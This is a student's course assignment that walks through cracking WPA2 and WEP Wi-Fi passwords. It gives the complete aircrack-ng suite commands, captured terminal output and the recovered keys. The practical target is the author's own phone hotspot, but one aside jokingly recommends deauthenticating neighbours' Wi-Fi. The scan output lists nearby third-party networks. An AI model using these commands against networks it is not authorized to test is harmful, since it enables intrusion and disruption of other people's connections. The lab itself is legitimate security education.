

# Encryption Techniques and Systems, Lecture assignment 4

Pollari Markus

## 1 Hacking the WLAN encryption

1.1 Starting wpa2 hacking first we need adapter what goes in monitor mode. Luckily, I have one alfa adapter what supports it.

Next we need to put adapter in monitor mode to listen traffic these commands:  
sudo airmon-ng start wlan0. This puts adapter in monitor mode and sudo airmon-ng start wlan0. Start listen to traffic

```
CH 3 ][ Elapsed: 7 mins ][ 2022-11-18 12:28 ][ WPA handshake: 92:1C:87:4A:AE:A5
```

| BSSID             | PWR | Beacons | #Data, #/s | CH | MB  | ENC  | CIPHER | AUTH | ESSID                     |
|-------------------|-----|---------|------------|----|-----|------|--------|------|---------------------------|
| 22:B0:01:D5:9B:77 | -83 | 5       | 0          | 0  | 1   | 130  | WPA2   | CCMP | PSK #Telia-D5EB77         |
| 7C:77:16:59:71:61 | -81 | 5       | 0          | 0  | 3   | 270  | WPA2   | CCMP | PSK Zyxe1_7161            |
| A4:91:B1:47:51:3D | -86 | 5       | 0          | 0  | 1   | 130  | WPA2   | CCMP | PSK Telia-47513D          |
| FC:2D:5E:29:E6:A0 | -75 | 5       | 0          | 0  | 6   | 195  | WPA2   | CCMP | PSK DNA-Mokkula-2G-2HrJZ7 |
| 92:1C:87:4A:AE:A5 | -35 | 381     | 140        | 0  | 6   | 180  | WPA2   | CCMP | PSK Maker                 |
| 08:62:66:D0:EA:2C | -79 | 10      | 0          | 0  | 1   | 130  | WPA2   | CCMP | PSK :P                    |
| 2C:99:24:6E:9F:01 | -77 | 2       | 0          | 0  | 11  | 130  | WPA2   | CCMP | PSK ARRIS-9F03            |
| D6:35:1D:19:C2:11 | -79 | 34      | 1          | 0  | 100 | 1170 | WPA2   | CCMP | PSK #Telia-195209         |
| 22:B0:01:CE:10:7B | -80 | 32      | 11         | 0  | 60  | 1733 | WPA2   | CCMP | PSK #Telia-CE1073-5G      |
| 5E:64:8E:55:9F:F2 | -72 | 32      | 0          | 0  | 52  | 866  | WPA2   | CCMP | PSK <length: 0>           |
| 5C:64:8E:55:9F:F2 | -73 | 34      | 0          | 0  | 52  | 866  | WPA2   | CCMP | PSK Zyxel_9FF1            |
| 20:B0:01:CE:10:73 | -78 | 13      | 3          | 0  | 11  | 260  | WPA2   | CCMP | PSK #Telia-CE1073-5G      |
| A6:91:B1:74:2E:AF | -76 | 33      | 1          | 0  | 40  | 1560 | WPA2   | CCMP | PSK Telia5GHz-742EA6      |
| D6:3D:F3:55:68:C2 | -69 | 32      | 0          | 0  | 40  | 866  | WPA2   | CCMP | PSK <length: 0>           |
| D4:3D:F3:65:68:C2 | -69 | 32      | 20         | 0  | 40  | 866  | WPA2   | CCMP | PSK Zyxel_68C1            |
| 60:D2:48:79:B8:DC | -79 | 2       | 0          | 0  | 1   | 130  | WPA2   | CCMP | PSK uusi-netti-arris      |
| AC:4C:A5:6B:67:69 | -78 | 15      | 0          | 0  | 1   | 130  | WPA2   | CCMP | PSK CGA2121_3mHKqjM       |
| EC:3E:B3:AB:8C:41 | -80 | 0       | 2          | 0  | 2   | -1   | WPA    |      | PSK <length: 0>           |
| B4:1C:30:A8:8B:33 | -81 | 32      | 0          | 0  | 1   | 360  | WPA2   | CCMP | PSK Lower G-point         |
| E8:40:F2:7F:D4:73 | -74 | 85      | 172        | 0  | 11  | 130  | WPA2   | CCMP | PSK 64de03                |
| 60:D2:48:B2:78:4F | -70 | 60      | 0          | 0  | 6   | 130  | WPA2   | CCMP | PSK ARRIS-2E0F            |
| 60:D2:48:A5:6C:47 | -73 | 48      | 2          | 0  | 6   | 130  | WPA2   | CCMP | PSK ARRIS-0635            |
| FC:2D:5E:37:C4:75 | -59 | 99      | 0          | 0  | 6   | 195  | WPA2   | CCMP | PSK 4G_Gateway_37C475     |

Line 5 is name Maker what is my phone hotspot name and I m connected to that hotspot my second laptop. So we try to attack it. Next we need to gather information on it, we need BSSID and CH number in Maker line it is CH 6 and BSSID 92:1C:87:4A:AE:A5 command: sudo airodumb-ng wlan0mon -d 92:1C:87:4A:AE:A5 we can then only see Maker now.

|                   |     |     |     |   |   |     |      |      |           |
|-------------------|-----|-----|-----|---|---|-----|------|------|-----------|
| 92:1C:87:4A:AE:A5 | -29 | 440 | 149 | 0 | 6 | 180 | WPA2 | CCMP | PSK Maker |
|-------------------|-----|-----|-----|---|---|-----|------|------|-----------|

```

maker@kali: ~
File Actions Edit View Help

CH 1 ][ Elapsed: 3 mins ][ 2022-11-18 12:37 ][ interface wlan0 down

BSSID          PWR Beacons  #Data, #/s CH  MB  ENC CIPHER AUTH ESSID
92:1C:87:4A:AE:A5 -25      203      15   2   6  180  WPA2 CCMP  PSK  Maker
BSSID          STATION      PWR  Rate  Lost  Frames  Notes  Probes
92:1C:87:4A:AE:A5 F0:03:8C:37:C4:01 -53   1e- 1    0    22      Maker

```

You can see interface wlan0 down my connection disconnected shortly put that happens sometimes and you also see station and some mac address that is my second laptop what is connected in that Maker hotspot. So next we need drop my second laptop off and reconnected to this hotspot again to get handshake.

This can be done by sending too many packets that's my hotspot can't handle  
 command is: `sudo aireplay-ng --deauth 0 -a BSSID wlan0`

```

maker@kali: ~
File Actions Edit View Help

CH 6 ][ Elapsed: 24 s ][ 2022-11-18 12:44

BSSID          PWR RXQ Beacons  #Data, #/s CH  MB  ENC CIPHER AUTH ESSID
92:1C:87:4A:AE:A5 -53   0    31      1   0   6  180  WPA2 CCMP  PSK  Maker
BSSID          STATION      PWR  Rate  Lost  Frames  Notes  Probes
92:1C:87:4A:AE:A5 F0:03:8C:37:C4:01 -1   1e- 0    0    1

```

You can see now under 1 minute it drop my laptop and it reconnected again and we get handshake. In below image right upper corner was appeared wpa handshake

```

maker@kali: ~
$ sudo aireplay-ng --deauth 0 -a 92:1C:87:4A:AE:A5 wlan0
12:50:43 Waiting for beacon frame (BSSID: 92:1C:87:4A:AE:A5) on channel 6
NB: this attack is more effective when targeting
a connected wireless client (-c client's mac).
12:50:52 Sending DeAuth (code 7) to broadcast -- BSSID: [92:1C:87:4A:AE:A5]
12:50:52 Sending DeAuth (code 7) to broadcast -- BSSID: [92:1C:87:4A:AE:A5]
12:50:53 Sending DeAuth (code 7) to broadcast -- BSSID: [92:1C:87:4A:AE:A5]
12:50:53 Sending DeAuth (code 7) to broadcast -- BSSID: [92:1C:87:4A:AE:A5]
12:50:54 Sending DeAuth (code 7) to broadcast -- BSSID: [92:1C:87:4A:AE:A5]
12:50:55 Sending DeAuth (code 7) to broadcast -- BSSID: [92:1C:87:4A:AE:A5]
12:50:55 Sending DeAuth (code 7) to broadcast -- BSSID: [92:1C:87:4A:AE:A5]
12:50:56 Sending DeAuth (code 7) to broadcast -- BSSID: [92:1C:87:4A:AE:A5]
12:50:56 Sending DeAuth (code 7) to broadcast -- BSSID: [92:1C:87:4A:AE:A5]
12:50:57 Sending DeAuth (code 7) to broadcast -- BSSID: [92:1C:87:4A:AE:A5]
12:50:57 Sending DeAuth (code 7) to broadcast -- BSSID: [92:1C:87:4A:AE:A5]
12:50:58 Sending DeAuth (code 7) to broadcast -- BSSID: [92:1C:87:4A:AE:A5]
12:50:58 Sending DeAuth (code 7) to broadcast -- BSSID: [92:1C:87:4A:AE:A5]
12:50:59 Sending DeAuth (code 7) to broadcast -- BSSID: [92:1C:87:4A:AE:A5]
^C

maker@kali: ~
File Actions Edit View Help

[ Elapsed: 1 min ][ 2022-11-18 12:51 ][ WPA handshake: 92:1C:87:4A:AE:A5

PWR RXQ Beacons  #Data, #/s CH  MB  ENC CIPHER AUTH ESSID
7:4A:AE:A5 -33   0    120    358   4   6  180  WPA2 CCMP  PSK  Maker
STATION      PWR  Rate  Lost  Frames  Notes  Probes
7:4A:AE:A5 F0:03:8C:37:C4:01 -27   1e- 1e  0    357  EAPOL  Maker

```

You can use similar attack example to get loud neighbours get off in their wifi 😊

now we need to press ctrl c to stop both and it automated saved this handshake file.

next need to stop adapter to monitor mode we don't anymore need it. Using command:  
`sudo airmon-ng stop wlan0`

```

maker@kali: ~
$ sudo airmon-ng stop wlan0

PHY      Interface  Driver      Chipset
phy0     wlan0      88XXau      Realtek Semiconductor Corp. RTL8812AU 802.11a/b/g/n/ac 2T2R DB WLAN Adapter
(monitor mode disabled)

```

now we can check the handshake file what we just got. In wireshark using command:

`sudo wireshark handshakefile.cap`

Then in wireshark we can put to the filter `eapol = extensible Authentication protocol over lan`. Now we need check if we get all 4 messages so then we can start crack it.

| eapol |           |                   |                   |          |        |                      |
|-------|-----------|-------------------|-------------------|----------|--------|----------------------|
| No.   | Time      | Source            | Destination       | Protocol | Length | Info                 |
| 1693  | 19.810670 | 92:1c:87:4a:ae:a5 | AzureWav_37:c4:01 | EAPOL    | 133    | Key (Message 1 of 4) |
| 1948  | 20.782275 | 92:1c:87:4a:ae:a5 | AzureWav_37:c4:01 | EAPOL    | 133    | Key (Message 1 of 4) |
| 1949  | 20.782284 | 92:1c:87:4a:ae:a5 | AzureWav_37:c4:01 | EAPOL    | 133    | Key (Message 1 of 4) |
| 1950  | 20.784941 | 92:1c:87:4a:ae:a5 | AzureWav_37:c4:01 | EAPOL    | 133    | Key (Message 1 of 4) |
| 1951  | 20.787781 | 92:1c:87:4a:ae:a5 | AzureWav_37:c4:01 | EAPOL    | 133    | Key (Message 1 of 4) |
| 1952  | 20.790439 | 92:1c:87:4a:ae:a5 | AzureWav_37:c4:01 | EAPOL    | 133    | Key (Message 1 of 4) |
| 1953  | 20.790448 | 92:1c:87:4a:ae:a5 | AzureWav_37:c4:01 | EAPOL    | 133    | Key (Message 1 of 4) |
| 1954  | 20.793416 | 92:1c:87:4a:ae:a5 | AzureWav_37:c4:01 | EAPOL    | 133    | Key (Message 1 of 4) |
| 1955  | 20.795147 | 92:1c:87:4a:ae:a5 | AzureWav_37:c4:01 | EAPOL    | 133    | Key (Message 1 of 4) |
| 1956  | 20.818430 | 92:1c:87:4a:ae:a5 | AzureWav_37:c4:01 | EAPOL    | 133    | Key (Message 1 of 4) |
| 1957  | 20.822285 | 92:1c:87:4a:ae:a5 | AzureWav_37:c4:01 | EAPOL    | 133    | Key (Message 1 of 4) |
| 1958  | 20.825480 | 92:1c:87:4a:ae:a5 | AzureWav_37:c4:01 | EAPOL    | 133    | Key (Message 1 of 4) |
| 9098  | 48.501419 | AzureWav_37:c4:01 | 92:1c:87:4a:ae:a5 | EAPOL    | 155    | Key (Message 2 of 4) |
| 9100  | 48.507668 | 92:1c:87:4a:ae:a5 | AzureWav_37:c4:01 | EAPOL    | 189    | Key (Message 3 of 4) |
| 9102  | 48.507678 | AzureWav_37:c4:01 | 92:1c:87:4a:ae:a5 | EAPOL    | 133    | Key (Message 4 of 4) |
| 9392  | 49.602860 | 92:1c:87:4a:ae:a5 | AzureWav_37:c4:01 | EAPOL    | 133    | Key (Message 1 of 4) |
| 9394  | 49.605778 | AzureWav_37:c4:01 | 92:1c:87:4a:ae:a5 | EAPOL    | 155    | Key (Message 2 of 4) |
| 9396  | 49.609807 | 92:1c:87:4a:ae:a5 | AzureWav_37:c4:01 | EAPOL    | 189    | Key (Message 3 of 4) |
| 9397  | 49.613652 | AzureWav_37:c4:01 | 92:1c:87:4a:ae:a5 | EAPOL    | 133    | Key (Message 4 of 4) |

▶ Frame 1665: 133 bytes on wire (1064 bits), 133 bytes captured (1064 bits)  
▶ IEEE 802.11 QoS Data, Flags: .....F.

So below command we give that handshakefile and `-w` is wordlist of passwords. I m using rockyou.txt password list in this case.

```
(maker@kali)-[~]  
$ aircrack-ng hand-01.cap -w /home/maker/Lataukset/rockyou.txt
```

And we cracked it under 2 seconds. password was (hellohello)

```
maker@kali: ~  
File Actions Edit View Help  
  
Aircrack-ng 1.7  
  
[00:00:02] 4127/565099 keys tested (1727.23 k/s)  
  
Time left: 5 minutes, 24 seconds 0.73%  
  
KEY FOUND! [ hellohello ]  
  
Master Key : 5E CE 61 A1 9F 5E 82 5B 82 65 E0 A2 A7 7E E7 BF  
A6 C9 FF 47 76 FE 88 0C BA A3 20 56 0B 95 6B 20  
  
Transient Key : 16 FA B3 2F 41 A3 54 FE FF 7C 1C D3 C1 7A 47 3F  
40 3C 39 A5 4C 68 DE 65 35 5F 16 3E 35 7D E7 30  
10 10 96 A8 6F 3C 2B 8D 0F 8A 68 F1 68 BF 91 25  
A0 D0 4A 78 E6 B2 F7 F9 38 64 EF B2 04 A3 F9 36  
  
EAPOL HMAC : D9 58 8E C6 04 13 A7 3A CF 82 5A B1 65 3F 7B 34  
  
(maker@kali)-[~]  
$
```

I don't demonstrate In WPA hacking because is almost similar but there we need to get enough data to crack it and ARP request that's all.

It something like 20000 in data section is enough

```
maker@kali: ~  
File Actions Edit View Help  
CH 1 ][ Elapsed: 3 mins ][ 2022-11-18 12:37 ][ interface wlan0 down  
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID  
92:1C:87:4A:AE:A5 -25 203 15 2 6 180 WPA2 CCMP PSK Maker  
BSSID STATION PWR Rate Lost Frames Notes Probes  
92:1C:87:4A:AE:A5 F0:03:8C:37:C4:01 -53 1e- 1 0 22 Maker
```

```
View Search Terminal Help  
[ Elapsed: 7 mins ][ 2014-11-12 05:56 ][ fix  
PWR RXQ Beacons #Data, #/s  
9:65:C5:D4 -37 100 1473 8554 295  
STATION PWR Rate  
9:65:C5:D4 00:C0:CA:4A:73:01 0 6 - 1  
9:65:C5:D4 00:13:E8:99:AD:6F -42 48e-36e  
root@kali:~# aireplay-ng -3 -b CA:BE:19:65:C5:D4 mon0  
No source MAC (-h) specified. Using the device MAC (00:C0:CA:4A:73:01)  
05:55:01 Waiting for beacon frame (BSSID: CA:BE:19:65:C5:D4) on channel 10  
Saving ARP requests in replay_arp-1112-055501.cap  
You should also start airodump-ng to capture replies.  
Read 11038 packets (got 11 ARP requests and 100 ACKs), sent 19 packets...(499 pps)  
Read 11183 packets (got 16 ARP requests and 138 ACKs), sent 69 packets...(499 pps)  
Read 11369 packets (got 66 ARP requests and 176 ACKs), sent 119 packets...(499 pps)  
Read 11528 packets (got 96 ARP requests and 210 ACKs), sent 169 packets...(498 pps)  
Read 11680 packets (got 146 ARP requests and 229 ACKs), sent 219 packets...(498 pps)  
Read 11864 packets (got 174 ARP requests and 264 ACKs), sent 270 packets...(500 pps)
```

```
[00:00:02] Tested 543797 keys (got 1950 IVs)  
KB depth byte(vote)  
0 59/ 95 FE(2560) 07(2304) 09(2304) 0A(2304) 1E(2304)  
1 16/ 1 D6(3328) 20(3072) 2A(3072) 33(3072) 50(3072)  
2 10/ 20 B8(3328) 06(3072) 5E(3072) B5(3072) CE(3072)  
3 3/ 9 76(3840) 33(3584) 6A(3584) A7(3584) C5(3584)  
4 12/ 4 8C(3328) 2B(3072) 42(3072) 49(3072) 4F(3072)  
KEY FOUND! [ 31:32:33:34:35 ] (ASCII: 12345 )  
Decrypted correctly: 100%
```

So only you need to get enough data to get password.

- 1.2 IV prevents the repetition of a sequence of text in data encryption. Specifically, during encryption, an IV prevents a sequence of plaintext that's identical to a previous plaintext sequence from producing the same ciphertext. If an attacker can view the same encrypted data multiple times, they can decrypt it. That's why encrypted ciphertext data is vulnerable to compromise.
- 1.3 In WPA3 u can't bruteforce password anymore because it allows you only give one offline password guess if it goes wrong you need to be next to wireless box to try again, also adds much stronger 192-bit encryption to the standard to improve the security level a lot.